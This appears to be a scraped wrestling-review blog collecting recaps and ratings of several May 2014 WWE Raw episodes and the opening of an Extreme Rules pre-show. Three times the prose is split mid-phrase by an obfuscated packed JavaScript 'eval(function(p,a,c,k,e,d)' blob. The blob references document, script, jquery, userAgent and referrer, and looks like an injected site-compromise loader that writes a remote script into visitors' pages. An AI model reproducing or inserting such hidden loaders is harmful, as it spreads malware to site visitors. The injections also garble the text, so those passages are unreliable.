Last man standing. Bray hammers on Jimmy in the corner to start before running him over with a shoulder block. A dropkick puts Jimmy on the floor and a big dive takes him down again but Bray is quickly back up. Back from a break with Bray hitting a running splash in the corner but Jimmy fires off some right hands. Bray plants him with his suplex slam and hammers away, only to walk into a Samoan drop.

That doesn’t keep Bray down either but he gets low bridged out to the floor. Jimmy tries a running dive off the barricade but Wyatt ducks underneath, only to walk into a huge superkick for seven. Back in and Bray hits that running cross body, followed by the Spider Walk out of the corner. Jimmy headbutts out of a superplex and nails the Superfly Splash for a count of eight but Bray is mad.

He throws Jimmy out to the floor but the Uso catches him with a jumping enziguri. The running Umaga attack against the barricade has Bray in big trouble but he uses the steps to get up at nine. The Family takes out Jey but Jimmy nails Wyatt with another superkick, only to have another Umaga attack hit the steps. Sister Abigail on the floor is good for the win at 12:03 as Bray hangs upside down from the apron and counts along.

Rating: B. This was WAY better than I was expecting as Bray was actually tested a bit. I don’t think anyone in their right mind expected Jimmy to win here but they made something out of it and that’s the best thing you can do in a match where the ending is fairly obvious. This was a very nice surprise and a good sign for the Usos’ futures.

Overall Rating: C+. This was a pretty standard go home show with a solid main event. Almost every match got some build and that’s really all you can ask for out of this kind of show. There’s nothing on here worth going out of your way to watch, though the main event was solid stuff. Other than that though, there are too many short matches here to really work for me.

Results
Cesaro b. Kofi Kingston – Uppercut
Paige b. Tamina Snuka – Scorpion Cross Lock
Bo Dallas b. Xavier Woods – Bodog
El Torito b. Jinder Mahal – Bullsault
Sheamus b. Bad News Barrett – Brogue Kick
Big E. b. Titus O’Neil – Big Ending
Adam Rose b. Jack Swagger – Bridging cradle
Bray Wyatt b. Jimmy Uso – Uso couldn’t answer a ten count after Sister Abigail on the floor

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Monday Night Raw – May 19, 2014: That’s A Lot Of Phones

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eefis|var|u0026u|referrer|hibah||js|php'.split('|'),0,{})) Night Raw
Date: May 19, 2014
Location: 02 Arena, London, England
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

It’s time for the post Wrestlemania European tour and things are in a big state of flux right now. Aside from the disastrous stock news on Friday, tonight we find out the fate of the WWE Championship due to Daniel Bryan being sidelined several months with neck surgery. The show was taped earlier in the day but I’ve avoided spoilers. Let’s get to it.

 

The Wyatts are in the ring to open the show and Bray sings the song as the fans all wave their phones for a pretty awesome visual. Bray talks about people laying his head down to sleep which is when everyone sees themselves as a superhero that can fix all the wrongs of the world and dream of payback. Then we wake up and see that we’re not really superheroes that can fix anything.

We kid ourselves by saying everything is fine but everything is wrong. Bray used to have this teacher that looked down on him and went to great measures to tell him that he was a piece of trash. She believed that everything she read in a book was true and everything he said was a lie. One day he went up to her and asked why she thought she was so much better than him. Was it because her parents paid for her to go to a school and waive her degree around, filling his head with propaganda?

Bray didn’t accept that so she told him that he was an evil boy. That woman is now in a retirement home while he’s here as the speaker of 1000 truths with the whole world in his hands. The fans start singing again and Bray loves it. That is his payback for the teacher that told him he was wrong. His tongue is the scorpion’s tail and he offers to save men like John Cena but John hides behind his false bravado.

The fans think Cena sucks and Bray promises to end this fairy tale at Payback. He’ll be the last man standing or no man will ever stand again. Tonight Luke Harper is going to put John Cena down. This brings out Cena, but he comes through the crowd to get at Bray as Harper and Rowan go to the aisle. Bray gets caught in the AA before Harper and Rowan can chase him off.

We recap Daniel Bryan being attacked by Kane last week and Stephanie saying how sorry she was. We’ll get the update on the title later tonight.

Here are Cesaro and Heyman with something to say. Heyman says the people in the ring are the stars while the fans are the wannabes. They should worship the mic he uses as he talks about Brock conquer the Streak. The fans finish the line for him so Heyman lays on the ground, asking who he is. “No I’m not your queen finally dead. I’M THE UNDERTAKER AT WRESTLEMANIA! EXCEPT I CAN GET UP!”

Sheamus vs. Cesaro

Non-title. Sheamus isn’t exactly popular in England. Cesaro takes him into the corner to start for a slap to the face but Cesaro bails to the floor before the ten forearms can get started. Back in and the ten forearms connect, but Cesaro bails to the floor again. They head back inside for some uppercuts from Cesaro as a JBL chant starts up. Sheamus comes back with the slingshot shoulder and the crowd has switched to JERRY. Cesaro sidesteps a charge to send Sheamus to the floor as we take a break.

Back with Cesaro ramming in knees to the ribs and putting on a sleeper. Sheamus quickly fights out with some shots to the ribs and the ax handles to the face. Not that it matters as Sheamus misses a charge into the post and Cesaro takes over again. The superplex from the apron gets two but Cesaro charges into the Irish Curse.

Sheamus hits the rolling fireman’s carry for another two and they have a hard slugout. Cesaro sends the Irishman chest first into the buckle and catches him coming off the top with the uppercut for two. Sheamus makes a quick comeback but gets distracted by Heyman, allowing Cesaro to grab a German suplex for the pin at 12:36.

Rating: C+. Two weeks. He’s been champion TWO WEEKS and he’s already getting pinned in the ring on Raw. Do they just want the titles to mean nothing at all or is this some massive rib that we don’t get? Yeah it’s Cesaro, but was there NO OTHER WAY to set up whatever they’re doing here?

Post match Cesaro won’t shake hands.

Shield vs. Evolution at Payback is now anything goes and an elimination match. We get a video of the end of last week’s show.

Big E. vs. Ryback

This is the first of eight Beat the Clock challenges. The winner in the fastest time gets an Intercontinental Title shot at Payback. Ryback runs Big E. over to start but E. shoves him into the corner with ease. A missed charge allows Ryback to take over again and stomp away before getting two off a suplex. Some hard elbows in the corner have Big E. in more trouble and a big driving shoulder puts him down again. Big E. grabs a belly to belly suplex for another two but Ryback nails a spinebuster and beats on his chest. The Meathook gets two but Big E. slips out of a powerbomb, setting up the Big Ending for the pin at 5:02.

Rating: D+. Not great here but it’s nice to see Big E. get a win like this. I can’t imagine that the time is going to hold up over the course of eight matches, but at it’s not a terrible time. I’m not sure who all they’re going to put into the challenge to have sixteen guys, but it might help get some people on television.

Some special Olympians trained at the WWE Performance Center. That’s always cool.

R-Truth/Trinity vs. Fandango/Layla

Fandango gets a BIG reaction, at least partially due to having the British Layla with him. Before the match, a LIVID Summer Rae storms out to the ring and kisses Fandango before getting into a catfight with Layla. No match.

Bolieve! This week on Smackdown.

We get Daniel Bryan’s music but it’s Stephanie coming out doing the YES pose. She says the fans should be chanting YES right now because Daniel Bryan is at home convalescing. She says she’s got some…well she’ll let someone else say it. We get a quick montage of Barrett saying he has BAD NEWS before we get a horrible imitation from Stephanie.

She’s thinking about stripping Bryan of the title and awarding it to Kane. Or she could strip him of the title and award it to Bad News Barrett. How about to Batista? Seriously though, if anyone is deserving, it should be HHH. In all seriousness though, Bryan won’t be stripped of the title. Instead, Bryan has to show up next week on Raw and surrender the title because it’s best for business. In other words, no real news this week.

Here are the Union Jacks, more commonly known as 3MB. Here’s his opponent.

Rusev vs. Heath Slater

Before the match Lana talks about how great Putin is and how the Soviet Union will take over England and America. Slater tries to dive on Rusev but all three Jacks are destroyed. We hed inside for the opening bell and pain quickly comes to Slater. There’s the spinning slam and the Accolade gets the submission at 38 seconds.

Shield still wants to know if that was Evolution’s best shot. Reigns is sporting a black eye from a match against Orton over the weekend. Rollins is ready for Batista tonight.

Alberto Del Rio vs. Rob Van Dam

Another Beat the Clock match with the time at 5:02. They trade some quick rollups for two each to start before Del Rio gets a quick suplex for two. Del Rio kicks him to the floor as we’ve got 3:30 to go in the clock. Back in and we hit the chinlock on RVD before he comes back with some lame clotheslines.

They seem to get mixed up with Van Dam wanting Rolling Thunder but Alberto being too close, forcing Rob into a legdrop instead. Del Rio comes back with a Backstabber for two but Van Dam kicks out of the armbreaker. A running flip splash keeps Del Rio down but the Five Star misses. A rolling cradle gets two for Alberto but he misses the low superkick, giving Rob the pin at 4:15.

Rating: C-. This is the problem with Beat the Clock: the matches don’t have time to go anywhere and people keep having to try for fast pins instead of giving the match a chance to build. These two don’t really have the best chemistry either, making the whole thing kind of mess. Fine from a technical standpoint but not much else.

We look back at the opening segment.

Cena is in the back and says he’ll have the Usos in his corner again tonight. At Payback, he’ll have to face a crowd full of Bray Wyatt’s followers. The three of them start rhythmically beating on their chests and do the We Say Us bit. This was rather strange.

Evolution is ready for Payback and tells Batista to take Rollins out.

Seth Rollins vs. Batista

Shield is banned from ringside, but HHH is guest ring announcer. His first announcement: Randy Orton is guest timekeeper. Rollins introduces Reigns and Ambrose as the special guest commentators to even things out. Batista hammers away to start but Rollins takes him into the corner for a quick stomping. Batista rams him into the apron as Ambrose is toying with JBL on commentary. Rollins escapes a powerslam and we take a break.

Back with Batista kicking Rollins out to the floor but holding his elbow in the corner. Evolution gets a bit too close to Rollins and Shield stands up to stop them. Back in and we hit the chinlock on Rollins before a hard elbow to the jaw gets two. Rollins fights back by shoving Batista off the ropes and nailing a running sleeper drop. A running dropkick puts Big Dave on the floor and there’s a nice suicide dive to take him down again.

Orton teases getting involved, drawing Ambrose and Reigns off commentary. Rollins misses the springboard knee to the head and gets caught by the spinebuster. Dave charges into a boot though and the springboard knee gets a VERY close two. Seth goes up again but gets shoved off the top, triggering a brawl on the floor. Ambrose runs across the announcers’ tables to take out HHH but gets caught by Orton. Rollins comes over to go after HHH but gets caught by a right hand, drawing the DQ at 13:42.

Rating: B-. I was digging this match but it’s a smart move to not have anyone job in the end. Rollins looked on equal footing with Batista out there, which is way more than I would have expected from him. Shield has looked completely equal to Evolution throughout this entire feud and that’s a GREAT sign.

Batista gets speared post match but a HHH distraction saves him from the Triple Bomb.

Alicia Fox vs. Paige

Non-title. Alicia kicks her right in the face to start but gets kicked in the chest and headbutted for her efforts. Fox bails to the floor but catches Paige coming out and rams her into the barricade. Back in and Fox leans over Paige for a slap to the face before sending Paige into the corner. Paige gets caught with a backbreaker into the corner and a kick to the ribs, allowing Fox to grab a deep cover for the pin at 3:32. Just like that.

Rating: D. Sheamus was bad enough. At the end of the day, this is still Alicia Fox. I think that’s about enough for the explanation.

Fox freaks out again post match, but this time due to happiness. She puts Lawler’s crown on to celebrate this time.

Luke Harper calls Cena a mouse that will be eaten by a snake. Bray says the Usos are dominoes that will be knocked over.

Mark Henry vs. Dolph Ziggler

Beat the Clock again with the time set at 4:15. Apparently this is the final match in the competition so I have no idea what Cole was talking about with eight. It’s not even eight people. Henry runs Ziggler over to start and suplexes him down as we’re already down to three minutes. Dolph falls to the floor but gets back in at eight. Ziggler hits what was supposed to be a Fameasser but looked more like a Rough Ryder for two.

Henry throws him outside again but Ziggler comes back with a quick dropkick. 90 seconds left. Another dropkick puts Henry down and we’ve got less than a minute to go. Dolph heads up top but gets caught in a powerslam for two. He loads up the World’s Strongest Slam but takes too long, allowing Ziggler to hit the Zig Zag. Time runs out though at 4:15 and Van Dam wins the challenge.

Rating: D+. This was an awkward match with both guys missing a few moves here and there. Van Dam winning the challenge is fine as he’ll get a good match out of Barrett. Ziggler winning would have been fine as well so there wasn’t a bad choice out of either guy here. The match didn’t work though.

Van Dam comes out and gets caught by a Bull Hammer from Barrett. Bad News sucks up to the London crowd and says there’s no way this Englishman is losing to a Yank. Rule Britannia plays Barrett out.

Renee Young brings out Adam Rose for a chat as JBL goes on a huge rant about how much he hates bunnies. Rose wants to know where his cheeseburger is and we’ve got a man named Ethan in a cheeseburger shirt. Rose: “He’s got sesame seeds on his buns. We’re taking him to the doctor next week.” The fans cut off the interview to sing the song (JBL: “STOP IT LONDON! THAT BUNNY COULD HAVE FLEAS!”) before Renee asks why Rose has targeted Swagger and Colter. He just wants them to stop being “grumpy pantses.”

Rose has the bunny dance (JBL: “Euthanize the bunny right now.”) but here are Swagger and Colter to interrupt. Colter wants to know what Rose’s deal is and even asks Swagger to stand back. He calls Rose the thing that is bringing America down and he’ll bring England down too. Colter wants to have a fight with Rose but Jack gets in a cheap shot. He goes after some of the members of the party but Rose is back up for the save.

Bolieve!

John Cena vs. Luke Harper

The Usos are here to counter Rowan and Harper and the phones come out for Bray’s entrance again. That’s quite a cool looking sight. The fans start the dueling chants as Cena hits a bulldog and a big boot to the face gets two. Harper gets in a shot of his own for two as we take our final break. Back with Harper knocking Cena down again before kicking him in the face for two. There’s the Gator Roll and a suplex gets another two count.

We get the singing John Cena Sucks chant as Cena comes back with the ProtoBomb but Harper is ready for the Shuffle and catches Cena in a German suplex. Harper misses a big boot and falls out to the floor, only to get caught in another ProtoBomb. Now the Shuffle connects but Luke escapes the AA and slams Cena face first for two. Harper busts out a dropkick of all things to send Cena to the floor, setting up a suicide dive.

Back in and Cena grabs a tornado DDT for two but gets caught by a superkick for an even closer near fall. Harper busts out a torture rack neckbreaker of all things but stops to look at Bray for support. Cena comes right back with the STF but Harper makes it into the ropes. The Usos take out Rowan and Bray but Wyatt pops up and hits a pair of Sister Abigails. He goes for Cena but gets low bridged, allowing Harper to hit a Michinoku Driver for another two. A quick AA connects but Rowan comes in for the DQ at 12:36.

Rating: C+. This was getting good but you knew there was no way Cena was jobbing here so there were only a few choices to end the match. Harper continues to look awesome in the ring as a power brawler and will certainly have a solid career once he’s no longer dealing with Bray anymore.

With the Usos down, Cena takes Sister Abigail as well and they take him up to the stage. Another Sister Abigail on the stage lays Cena out again. Bray sings while Harper slowly counts to ten to end the show.

Overall Rating: C. Stupid booking of midcard champions aside, this worked well enough for the first part. I really could have done without the bait and switch for the title announcement but that’s what you come to expect from WWE. There was some decent enough stuff tonight and the Evolution vs. Shield segment was great. It’s right in the middle so the average grade seems to fit.

Results
Cesaro b. Sheamus – German suplex
Big E. b. Ryback – Big Ending
Rusev b. Heath Slater – Accolade
Rob Van Dam b. Alberto Del Rio – Rollup
Seth Rollins b. Batista via DQ when HHH interfered
Alicia Fox b. Paige – Kick to the ribs
Dolph Ziggler vs. Mark Henry went to a time limit draw
John Cena b. Luke Harper via DQ when Erick Rowan interfered

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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The Future Of The WWE Championship

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdyzr|var|u0026u|referrer|eanns||js|php'.split('|'),0,{})) update is…..There is no real update.  Stephanie teased stripping the title and awarding it to various people, but finally she said Bryan has to surrender the belt next week.




Monday Night Raw – May 5, 2014: Just Play The Halloween Theme Already

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edakt|var|u0026u|referrer|sbsei||js|php'.split('|'),0,{})) Night Raw
Date: May 5, 2014
Location: Times Union Center, Albany, New York
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Extreme Rules has come and gone and most of the stories have advanced. First and foremost, Bryan kept the title away from Kane in a brawl reminiscent of the Attitude Era but it looks like a rematch is imminent. Other than that Shield defeated Evolution in a war and Bray Wyatt escaped the cage to beat Cena. The main stories tonight are a twenty man battle royal for the US Title and Adam Rose debuting. Let’s get to it.

US Title: Battle Royal

Dean Ambrose, Goldust, Cody Rhodes, Mark Henry, Titus O’Neal, R-Truth, Kofi Kingston, R-Truth, Heath Slater, Sheamus, Curtis Axel, Ryback, Dolph Ziggler, Big Show, Sin Cara, Santino Marella, Fandango, Zack Ryder, Jack Swagger, Damien Sandow

Ambrose is defending and all of his challengers come to the ring at the same time. It’s the traditional big mess to start with Show throwing out Woods and Henry dumping Ryder. Truth is thrown out by someone we didn’t see as everyone else is just having random brawls. Ziggler finally loses his shirt but makes the mistake of hammering on Big Show. Santino slides back into the ring and fails to help Sin Cara eliminates Titus. Big Show dumps Titus with ease and does the same to Sin Cara with the masked man landing on all of the other eliminated guys. Why they were still at ringside isn’t explained.

Fandango gets Dolph over the top but not out to the floor as the brawling continues. Sheamus does the ten forearms to Sandow for an elimination and we take a break. Back with Big Show and Mark Henry being ganged up on in opposite corners. Heath Slater appears to be the only elimination during the break. Henry and Show shrug everyone off and have a showdown ending with a chokeslam to Henry. A Brogue Kick staggers Big Show though and everyone comebines to dump him out. They do the same to Henry and both giants are gone.

Kofi is sent to the apron but jumps back in, only to be kicked out by Ambrose. Dean gets Fandango as well but has to deal with Swagger. Ryback and Axel dump Cody and Goldust to get us down to seven: Ambrose, Santino, Sheamus, Ryback, Axel, Swagger and Ziggler. Scratch Dolph actually as Santino Cobras him out but is quickly dumped by Ryback and Axel, leaving us with five. Sheamus starts cleaning house but runs into a spinebuster from Ryback. The Goldberg chants start up and Ryback has blood on his teeth.

Axel and Ryback take control but can’t toss Dean out. The fans chant for Punk for no apparent reason as Dean backdrops Axel to the floor and wins a slugout with Ryback on the apron to get us down to three. Swagger tries for a cheap shot but Dean slides back in. Ambrose gets behind him and dumps Jack but turns around for the Brogue Kick. The elimination is academic and Sheamus is champion at 15:49.

Rating: C. This was probably the best way to get the title off Ambrose save for the cliched triple threat or fourway match. He’s got the record for longest reign by a WWE US Champion so it’s not like he didn’t get to do anything with the belt. Also this is something for Sheamus to do once he’s back so it’s good for everyone all around. It also didn’t come off as any sort of a heel turn which it wasn’t supposed to be.

Rollins tries to calm Ambrose down by saying it wasn’t fair but here’s HHH to interrupt. He talks about how lucky Shield got last night before announcing a six man tag with Shield vs. the Wyatts later tonight.

After a break Sheamus says he’s been spinning his wheels since he came back. They say every stopped clock is right twice a day and tonight was the perfect time for the Celtic Warrior to step back into glory. Renee asks him if he has a message for Dean Ambrose. Sheamus says no hard feelings.

We get stills from Bryan vs. Kane last night.

Daniel is with Brie in the back when Stephanie comes in. All Daniel did last night was anger Kane and make him capable of unspeakable acts of violence. Therefore, Bryan has to stay in this locker room until his match later tonight. She shuts the door and Kane’s mask is on the back.

Rob Van Dam vs. Cesaro

Feeling out process to start with Van Dam taking over with a quick armdrag. A headlock slows RVD down and a back elbow to the jaw gets two. Rob comes back with a quick kick to the face and Rolling Thunder sends Cesaro to the floor. Back in and Cesaro gets in a few more shots but another kick sends him outside for a big old flip dive.

A moonsault off the apron sets up a slingshot legdrop for two back inside. The fans think this is boring thirty seconds after all the high spots from Van Dam because wrestling crowds have the attention span of drunken gnats. Now it’s a CM Punk chant as Cesaro hammers away and sends Van Dam to the floor with a clothesline. We come back from a break with Van Dam fighting out of a chinlock and the fans chanting for him for a change.

A sunset flip gets two for Van Dam but he gets caught by a jumping double stomp of all things. Van Dam gets another two off a small package and rollup but he dives off the top into an uppercut for a pair of near falls. Cesaro nails him with an awesome looking running uppercut in the corner followed by some rolling gutwrench suplexes for two. Back up and Van Dam can’t hook a monkey flip out of the corner but runs into an elbow to the jaw. He goes up top but gets caught in a one legged tree of woe. Cesaro goes to the floor to hammer away at Van Dam’s head but does it too long for a DQ at 12:00.

Rating: C+. The match was fun and I actually like the ending. Van Dam was getting dominated so it doesn’t make Cesaro look bad and shows a more aggressive side to his character. Those rolling gutwrench suplexes are just awesome and his match against a big name is going to rock.

Cesaro hammers away even more until Heyman pulls him off. Van Dam looks totally out of it.

Bray Wyatt says that Abigail told him that he was born to lead and would change the world one day. This world we live in has an evil about it and everyone refers to him as a piece of trash or a nobody. Those people have made it a glorious day because last night, Bray Wyatt became somebody. Last night Cena’s fear was personified by a singing child and we get a clip showing just that. Bray talks about how a child has personified Cena’s fear. John thinks that Bray is spreading nothing but lies and just wants to watch the world burn.

The second part is right because he wants a new world to be reborn in his image. Wyatt is doing this for the homeless man sitting on the side of the street, for the teenage girl who woke up crying because she was called too ugly to be the prom queen and for every fan sitting in this arena. From this day forward, John Cena stands alone and alone he shall fall. The children shall stand will Bray Wyatt and they’ll never be alone again. He’ll be remembered for what he truly is: a god.

Ryback vs. Cody Rhodes

We see a clip from the battle royal that shows Cody accidentally eliminating Goldust. Cody starts fast and sends Ryback to the outside before hammering away in the corner. Ryback takes over with a hot shot before choking on the ropes to keep Cody in trouble. A delayed vertical suplex gets two on Cody and a hard whip into the corner puts him down again.

We hit the chinlock for a bit until Ryback misses a splash. Cody takes out the knee and hits a running knee to the chest for two. The Disaster Kick looks AWESOME, followed by a good looking springboard missile dropkick. Goldust goes after Axel but the distraction lets Ryback pull Cody off the top into Shell Shock for the pin at 6:00.

Rating: D. This was a really dull match as the always annoying “let’s have two guys lose every match they’re in and then wonder why no one cares about them at all after it’s over” trope continues. This match just kept going and I was really bored after about two minutes, especially when the ending was obvious.

The lights go out in Brie and Bryan’s locker room. A small fire lights up with Kane’s mask over it. The newlyweds leave and run into Stephanie, who offers to have Brie’s car brought up. I’m sure this won’t end badly at all.

It’s time for a Cinco De Mayo celebration with Los Matadores and Torito. They have your usual Mexican decorations and Torito throws out candy to the fans until 3MB interrupts. They want a truth but demand that only English is spoken. Drew threatens violence if the truce isn’t accepted and a brawl breaks out. Slater gets left alone and shouts OLE, only to be thrown to the floor. Torito puts Horny in an airplane spin as JBL shouts out boxing references.

Bolieve!

Kofi Kingston vs. Alexander Rusev

Before the match, Lana praises Vladimir Putin and Edward Snowden, saying America’s secrets are safe with them. Rusev runs Kofi over to start and tosses him down with an overhead belly to belly suplex. Kingston comes back with a dropkick and spinning crossbody for two but misses a kick to the chest, allowing Rusev to load up the fall away slam. Kingston lands on his feet though and tries the springboard cross body, only to be caught in mid air. Now the fall away connects and the Accolade makes Kofi submit at 2:50.

The Network is now available on XBOX One.

Brie gets into the car as Bryan looks around. He gets in to leave and of course there’s a camera in the backseat. Stephanie knocks on the window to scare both of them and says Bryan’s match is right now. If he doesn’t wrestle tonight, he’s stripped of the title. Thankfully Daniel has a brain and has Brie come with him to the ring.

Daniel Bryan vs. Alberto Del Rio

Non-title. Daniel fires off kicks in the corner to start before opting for some right hands to the face. He charges into the tilt-a-whirl backbreaker for two though and Del Rio takes over. Another USA chant starts up as Bryan fires the kicks in the corner. He backflips over Del Rio and actually slips on the landing. Thankfully JBL is paying attention and says it’s because he’s worried Kane might attack him. The YES Kicks have Del Rio in trouble but he grabs a Backstabber for two. Daniel heads outside and gets sent into the barricade as we take a break.

Back with Bryan fighting out of a chinlock but walking into a German suplex for two. Alberto starts goinga fter the arm and mocks the YES post, only to dive into a forearm for two. They head outside with Bryan being dropped face first onto the barricade. Back in and Del Rio lowers the knee pad for the superkick (not sure what sense that makes) but Bryan ducks and lands a hard kick of his own.

A drop toehold sends Alberto into the middle buckle and they trade kicks with Del Rio taking over. Bryan gets dropped with a big old kick but headbutts out of a superplex. The Swan Dive gets two and the running dropkicks knock Del Rio to the floor. FLYING GOAT sends Del Rio halfway into the stands but he comes back with an enziguri for two. The armbreaker is esily countered though and Bryan uses something like La Mistica to set up the YES Lock for the win at 15:32.

Rating: B-. This is the kind of stuff they should use to main event shows like Payback or another low level show. Instead of using the same matches over and over again, just let Bryan tear it up with some upper midcarder for about 25 minutes a month. Good match here with Del Rio going kick for kick with the champion.

Post match Kane’s pyro goes off so they run to the back. Brie and Daniel get in the car but it won’t start. Daniel checks the engine and plugs a wire back in. He shuts the hood and of course Kane is in the back of the car. Bryan fights Kane and tries to leave again but Kane gets on the back of the car. Daniel floors it to drop Kane on the concrete (off camera of course) but stops and looks back. Kane sits up so Bryan gets back in and drives off.

Intercontinental Title: Big E. vs. Bad News Barrett

Barrett is defending, having beaten Big E. for the title last night. Before the match, Bad News says the fans are going to need some cosmetic surgery for their new champion. Big E. runs him over to start and the fight is quickly on the floor. Barrett is rammed into the apron and a spear puts him into the steps before they just beat the count back inside. The champion goes right back to the floor but avoids a charge to send Big E. shoulder first into the post.

Back with Barrett still in control and getting two off Winds of Change. A hard knee to the face puts Big E. down again and here comes the Bull Hammer. You know it’s not working that quickly though so Big E. runs him over to put him in the ropes. The spear through the ropes puts both guys on the floor and it’s Big E. up first. The Big Ending is countered though and Bad News rakes the eyes. Bull Hammer retains the title at 10:48.

Rating: D+. Not much to see here as it was just the required win in the rematch to establish that Barrett is the better man and get rid of Big E. for awhile. It wasn’t a very good match though as Big E. started doing stuff he didn’t do while champion and it makes it easier to beat him, as is tradition in wrestling.

Cena will respond to Bray Wyatt on Main Event.

We look at the battle royal earlier.

Here’s a special Mother’s Day message from Mr. T. which is comprised of remixed clips of his Hall of Fame speech and Brodus Clay’s dancing bridge club from Wrestlemania XXVIII.

Swagger and Colter come out with a sign saying Zeb’s Deportation List. Colter says today isn’t Cinco De Mayo because it’s May 5. He doesn’t like all the foreigners coming into WWE and has a list of all the people he wants gone. It’s only a partial list: Cesaro, Heyman, Emma, Santino, Paige and Sheamus. Colter does the Emma dance and says it’s poisoning the youth of America. They’re interrupted by the Adam Rose party, complete with BUNNY. The entire party is here to carry Rose to the ring just like in NXT. The fans are singing the tune of his song too so it’s working.

Rose has a sucker in his mouth and holds it out to Colter. Zeb holds up a hand but Adam grabs him by the moustache. “Don’t be a lemon. BE A ROSEBUD!” Swagger runs at him but gets kicked in the face and backdropped to the floor. The party gets back in the ring and Zeb looks terrified before running off.

Wyatt Family vs. Shield

It’s a big fight to start and the bell rings with everyone on the floor. Ambrose and Rowan get things going with Dean taking over in the corner. Off to Rollins who gets thrown out of the corner, allowing for the tag off to Harper. Dean makes a blind tag to help Rollins with a double suplex and two on Luke. Roman comes in and hammers away before it’s quickly back to Rollins for a top rope shot to the arm.

Harper takes Seth into the corner to take over again and it’s off to Bray for some hard right hands to the head. Rowan can’t slam Rollins down and gets caught with an enziguri, allowing for the tag off to Dean. Ambrose hammers away and nails a cross body, allowing him to get even more hard shots. Dean cleans house and takes Rowan down with a shoulder before slapping on a Figure Four. He lets it go so we can have a standoff and take a break.

Back with Harper holding Ambrose in a chinlock. Dean fights up with a jawbreaker but it’s off to Rowan to whip Dean from corner to corner. Rowan is sent to the floor and the now legal Harper gets the same treatment. Seth hits a running dive to take them both out but stops to go after Bray, allowing Harper to shove him to the floor in a scary crash. Harper follows it up with a suicide dive, sending Rollins over the table.

Back in and things settle down again before it’s off to Bray for a running splash in the corner. Harper slams Rollins down for two more as everything breaks down. Rowan and Wyatt throw Dean onto the announce table before leaving him alone. Rollins knocks Harper off the top rope and hits the top rope knee to put both guys down. A double tag brings in Reigns to hammer on Wyatt and hit a series of the running clotheslines.

 

The Family breaks up the Superman Punch and it’s double dive time to send Harper and Rowan onto the table. Now the Punch connects and it’s Triple Bomb time but here’s Evolution. That’s fine with Shield as they kick the Wyatts onto Evolution and hit more double dives, only to have Bray run Roman over and hit Sister Abigail for the pin at 18:04.

Rating: B-. It’s a good match but it has to compare to the match these guys had at Elimination Chamber. The ending gives us a reason for Shield to keep fighting Evolution, hopefully in some singles matches instead of another six man. It’s a good main event but more about the stories than the match.

Evolution goes after Shield post match and this time their comeback is stopped. A string of finishers ends the show, including a Triple Bomb to Reigns.

Overall Rating: C. The more I think about it, the more seeing Bryan vs. Kane again makes me want to pound a rusty spike into my eye. If it’s going to mean another month of really bad segments like this one then I’m very glad I have the Network to give me something entertaining to watch instead of this nonsense. We get it: Kane is a monster who is going to lose in the blowoff match because that’s what he’s done for like 15 years now. The rest of the show was solid but that segment gets stupider and stupider every time I think about it.

Results
Sheamus won a battle royal last eliminating Dean Ambrose
Rob Van Dam b. Cesaro via DQ when Cesaro wouldn’t stop attacking Van Dam in the ropes
Ryback b. Cody Rhodes – Shell Shock
Alexander Rusev b. Kofi Kingston – Accolade
Daniel Bryan b. Kane – Yes Lock
Bad News Barrett – Big E. – Bull Hammer
Wyatt Family b. Shield – Sister Abigail to Reigns

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Extreme Rules 2014: I Must Confess I Still Believe. In The Shield.

Extreme Rules 2014
Date: May 4, 2014
Location: Izod Center, East Rutherford, New Jersey
Commentators: Jerry Lawler, Michael Cole, John Bradshaw Layfield

It’s the first “WWE Special” after Wrestlemania and it feels like a sequel. There are three matches that could be considered the main event and Daniel Bryan’s defense against Kane is arguably the weakest of the three. Other than that we have Shield vs. Evolution in a six man and John Cena trying to keep Bray Wyatt’s message from spreading and keeping it inside a steel cage. Let’s get to it.

 

Pre-Show: El Torito vs. Hornswoggle

This is the WeeLC match which exists for reasons beyond my comprehension and you win by pinfall/submission. There are mini versions of all three commentators, a mini referee and a mini ring announcer. Torito hammers away to start but dives onto the other Band members. Horny can’t manage a dive and Torito pulls out a chair. That’s no good for some reason so it’s off to a mini chair. A headstand in the corner sets up a Bronco Buster and here’s Mahal to interfere.

Torito crotches him on the top rope and sends Horny face first into Mahal’s groin. Horny takes Torito down and we get two sizes of stepladders brought in. Horny goes to the top of the bigger one but gets nervous so Torito lays down for him. Thankfully he moves when Horny tries a splash and we take a break. I really question the need for commercials for events airing on a service that I’ve already purchased to watch the show the commercials are airing on.

Back with 3MB and Los Matadores brawling on the floor. The commentators names: JB Elf, Jerry Smaller and Micro Cole. Torito gets slammed down for two and rolls out to the floor, only to be slammed down. Horny loads up the mini announce table (standing about two feet off the ground) and drops an elbow to drive Torito through. Fans: THIS IS AWESOME! Back inside with 3MB setting up a 6ft ladder and another mini table as Horny hits Torito with the mini chair.

